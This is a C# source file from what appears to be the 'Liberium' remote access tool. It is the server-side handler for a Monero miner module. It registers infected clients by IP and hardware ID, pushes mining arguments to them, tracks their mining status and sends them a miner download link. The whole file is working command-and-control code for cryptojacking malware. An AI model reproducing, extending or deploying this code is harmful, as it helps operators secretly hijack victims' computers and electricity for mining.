Files
Liberium-1.8-Source-Code/Server.Messages/HandlerMinerXmr.cs
T
2026-08-27 11:21:58 -06:00

82 lines
1.8 KiB
C#

using System.Windows.Forms;
using Server.Connectings;
namespace Server.Messages;
internal class HandlerMinerXmr
{
public static void Read(Clients clients, object[] array)
{
switch ((string)array[1])
{
case "Connect":
if (Program.form.MinerXMR.work)
{
clients.Hwid = (string)array[2];
DataGridViewRow Item = new DataGridViewRow();
Item.Tag = clients;
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = clients.IP
});
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = clients.Hwid
});
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = "dont mining"
});
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)array[3]
});
Item.Cells.Add(new DataGridViewTextBoxCell
{
Value = (string)array[4]
});
clients.Tag = Item;
Program.form.MinerXMR.Invoke((MethodInvoker)delegate
{
Program.form.MinerXMR.GridClients.Rows.Add(Item);
if (Program.form.MinerXMR.materialSwitch7.Checked)
{
clients.Send(Program.form.MinerXMR.Args());
}
});
}
else
{
clients.Disconnect();
}
break;
case "Status":
if (clients.Tag == null)
{
clients.Disconnect();
break;
}
Program.form.MinerXMR.GridClients.Invoke((MethodInvoker)delegate
{
((DataGridViewRow)clients.Tag).Cells[2].Value = (string)array[2];
});
break;
case "GetLink":
// Authorization check: Only allow if client is properly identified (e.g., HWID is set)
if (string.IsNullOrEmpty(clients.Hwid))
{
clients.Disconnect(); // Disconnect unauthorized client
return;
}
clients.Send(new object[2]
{
"Link",
Program.form.settings.linkMiner
});
break;
}
}
}